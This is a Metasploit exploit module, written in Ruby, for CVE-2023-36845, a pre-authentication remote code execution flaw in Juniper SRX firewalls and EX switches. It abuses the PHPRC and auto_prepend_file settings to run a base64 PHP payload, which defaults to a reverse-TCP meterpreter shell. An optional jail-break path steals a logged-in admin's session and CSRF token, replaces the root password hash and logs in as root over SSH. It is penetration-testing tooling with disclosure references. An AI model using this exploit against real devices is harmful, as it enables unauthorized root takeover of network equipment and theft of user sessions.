Juniper SRX Firewall / EX Switch Remote Code Execution Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'unix_crypt'
require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::SSH

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Junos OS PHPRC Environment Variable Manipulation RCE',
        'Description' => %q{
          This module exploits a PHP environment variable manipulation vulnerability affecting Juniper SRX firewalls
          and EX switches. The affected Juniper devices run FreeBSD and every FreeBSD process can access their stdin
          by opening /dev/fd/0. The exploit also makes use of two useful PHP features. The first being
          'auto_prepend_file' which causes the provided file to be added using the 'require' function. The second PHP
          function is 'allow_url_include' which allows the use of URL-aware fopen wrappers. By enabling
          allow_url_include, the exploit can use any protocol wrapper with auto_prepend_file. The module then uses
          data:// to provide a file inline which includes the base64 encoded PHP payload.

          By default this exploit returns a session confined to a FreeBSD jail with limited functionality. There is a
          datastore option 'JAIL_BREAK', that when set to true, will steal the necessary tokens from a user authenticated
          to the J-Web application, in order to overwrite the the root password hash. If there is no user
          authenticated to the J-Web application this method will not work. The module then authenticates
          with the new root password over SSH and then rewrites the original root password hash to /etc/master.passwd.
        },
        'Author' => [
          'Jacob Baines',  # Analysis
          'Ron Bowes',     # Jail break technique + Target setup instructions
          'jheysel-r7'     # Msf module
        ],
        'References' => [
          [ 'URL', 'https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/'],
          [ 'URL', 'https://vulncheck.com/blog/juniper-cve-2023-36845'],
          [ 'URL', 'https://supportportal.juniper.net/s/article/2023-08-Out-of-Cycle-Security-Bulletin-Junos-OS-SRX-Series-and-EX-Series-Multiple-vulnerabilities-in-J-Web-can-be-combined-to-allow-a-preAuth-Remote-Code-Execution?language=en_US'],
          [ 'CVE', '2023-36845']
        ],
        'License' => MSF_LICENSE,
        'Platform' => %w[php unix],
        'Privileged' => false,
        'Arch' => [ARCH_PHP, ARCH_CMD],
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP,
              'Type' => :php_memory,
              'DefaultOptions' => {
                'PAYLOAD' => 'php/meterpreter/reverse_tcp',
                'RPORT' => 80
              }
            },
          ],
          [
            'Interactive SSH with jail break',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix',
              'Type' => :nix_stream,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/interact',
                'WfsDelay' => 30
              },
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'cmd_interact',
                  'ConnectionType' => 'find'
                }
              }
            }
          ]

        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-08-17',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ CONFIG_CHANGES ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options([
      OptString.new('TMP_ROOT_PASSWORD', [ true, 'If target is set to "Interactive SSH with jail break", the root user\'s password will be temporarily changed to this password', rand_text_alphanumeric(24)]),
      OptPort.new('SSH_PORT', [true, 'SSH port of Junos Target', 22]),
      OptInt.new('SSH_TIMEOUT', [ true, 'The maximum acceptable amount of time to negotiate a SSH session', 30])
    ])
  end

  def check
    non_existent_file = rand_text_alphanumeric(8..16)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'POST',
      'ctype' => 'application/x-www-form-urlencoded',
      'data' => "LD_PRELOAD=/tmp/#{non_existent_file}"
    )

    return CheckCode::Appears('Environment variable manipulation succeeded indicating this target is vulnerable.') if res && res.body.include?("Cannot open \"/tmp/#{non_existent_file}\"")

    CheckCode::Safe('Environment variable manipulation failed indicating this target is not vulnerable.')
  end

  def send_php_exploit(phprc, file_contents)
    post_data = "allow_url_include=1\n"
    post_data << "auto_prepend_file=\"data://text/plain;base64,#{Rex::Text.encode_base64(file_contents)}\""
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'POST',
      'data' => post_data,
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_get' => {
        'PHPRC' => phprc
      }
    )
  end

  def get_php_session_id
    get_var_sess = "<?php print_r(scandir('/var/sess'));?>"
    res = send_php_exploit('/dev/fd/0', get_var_sess)

    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200

    php_session_id = res.body.scan(/\[\d+\] => sess_(.*)/).flatten[0]

    fail_with(Failure::UnexpectedReply, "Failed to retrieve a PHP Session ID. There might not be a user logged in at the moment which would cause this to fail.\n Try setting JAIL_BREAK to false to in order to get a session as the 'nobody' user. Or try again when a there is a user authenticated to the J-Web application.") unless php_session_id
    print_status("Found PHPSESSID: #{php_session_id}.")
    php_session_id
  end

  def get_csrf_token(php_session_id)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'diagnose'),
      'method' => 'GET',
      'headers' =>
        {
          'Cookie' => "PHPSESSID=#{php_session_id}"
        },
      'vars_get' => {
        'm[]' => 'pinghost'
      }
    )

    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200

    csrf_token = res.get_html_document.xpath("//input[@type='hidden' and @name='csrf_token']/@value").text
    fail_with(Failure::UnexpectedReply, 'Unable to retrieve a csrf token') unless csrf_token
    print_status("Found csrf token: #{csrf_token}.")
    csrf_token
  end

  def get_encrypted_root_password(php_session_id, csrf_token)
    post_data = "rs=get_cli_data&rsargs[]=getQuery&csrf_token=#{csrf_token}&key=1"

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'jsdm', 'ajax', 'cli-editor.php'),
      'method' => 'POST',
      'data' => post_data,
      'ctype' => 'application/x-www-form-urlencoded',
      'headers' =>
        {
          'Cookie' => "PHPSESSID=#{php_session_id}"
        }
    )

    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200

    # The body of the above request is formatted like so:

    ## Last changed: 2023-09-25 13:00:49 UTC
    # version 20200609.165031.6_builder.r1115480;
    # system {
    #   host-name JUNOS;
    #   root-authentication {
    #     encrypted-password "$6$yMwZY.o0$WwCZgzN7FTDfhSvkum0y9ry/nu4yWOQcgW.JJz0vJapf5P6XHoCsigsz94oEKSPO5efKFP/JhhN3/FCKvB0Hp.";
    #   }
    #   login {
    #     user admin {
    #       uid 2000;
    #       class super-user;
    #       authentication {
    #         encrypted-password "$6$65gs/MrK$DNpVWfIocQ.rG/ThjZXjRI/yha/lf1UImNKivq.T1K4yLW60PWFrcQakoP6mwHT9Cr3xQZZfomKSTRXWl2aWj1";
    #       }
    #     }

    fail_with(Failure::UnexpectedReply, 'ssh root-login is not permitted on the device thus the module will not be able to establish a session or restore the original root password.') unless res.body.scan(/"ssh\s+\{\n\s+root-login\s+allow;"/)
    # Multiple passwords are displayed in the output, ensure we grab the encrypted-password that belongs to the
    # root-authentication configuration with the following regex:
    og_encrypted_root_pass = res.body.scan(/root-authentication\s+\{\n\s+encrypted-password\s+"(.+)"/).flatten[0]
    fail_with(Failure::UnexpectedReply, 'Unable to retrieve the encrypted root password from the response') unless og_encrypted_root_pass

    print_status("Original encrypted root password: #{og_encrypted_root_pass}")
    og_encrypted_root_pass
  end

  def set_root_password(php_session_id, csrf_token, password_hash)
    post_data = "&current-path=/system/root-authentication/&csrf_token=#{csrf_token}&key=1&JTK-FIELD-encrypted-password=#{password_hash}"
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'editor', 'edit', 'configuration', 'system', 'root-authentication'),
      'method' => 'POST',
      'data' => post_data,
      'ctype' => 'application/x-www-form-urlencoded',
      'headers' =>
        {
          'Cookie' => "PHPSESSID=#{php_session_id}"
        },
      'vars_get' => {
        'action' => 'commit'
      }
    )

    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200

    unless res.get_html_document.xpath("//body/div[@class='commit-status' and @id='systest-commit-status-div']").text == 'Success'
      fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})")
    end
    print_status("Successfully changed the root user's password ")
  end

  def ssh_login
    ssh_opts = ssh_client_defaults.merge({
      port: datastore['SSH_PORT'],
      auth_methods: ['password'],
      password: datastore['TMP_ROOT_PASSWORD']
    })

    begin
      ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
        Net::SSH.start(rhost, 'root', ssh_opts)
      end
    rescue Net::SSH::Exception => e
      vprint_error("#{e.class}: #{e.message}")
      return nil
    end

    if ssh
      Net::SSH::CommandStream.new(ssh)
    end
  end

  def exploit
    case target['Type']
    when :nix_stream
      print_status("Attempting to break out of FreeBSD jail by changing the root user's password, establishing an SSH session and then rewriting the original root user's password hash to /etc/master.passwd.")
      print_warning("This requires a user is authenticated to the J-Web application in order to steal a session token, also 'ssh root-login' is set to 'allow' on the device")
      php_session_id = get_php_session_id
      csrf_token = get_csrf_token(php_session_id)
      @og_encrypted_root_pass = get_encrypted_root_password(php_session_id, csrf_token)
      tmp_password_hash = UnixCrypt::SHA512.build(datastore['TMP_ROOT_PASSWORD'])
      print_status "Temporary root password Hash: #{tmp_password_hash}"
      set_root_password(php_session_id, csrf_token, tmp_password_hash)

      if (ssh = ssh_login)
        print_good('Logged in as root')
        handler(ssh.lsock)
      end

      set_root_password(php_session_id, csrf_token, @og_encrypted_root_pass)

    when :php_memory
      send_php_exploit('/dev/fd/0', payload.encoded)
    else
      fail_with(Failure::BadConfig, 'Please select a valid target.')
    end
  end
end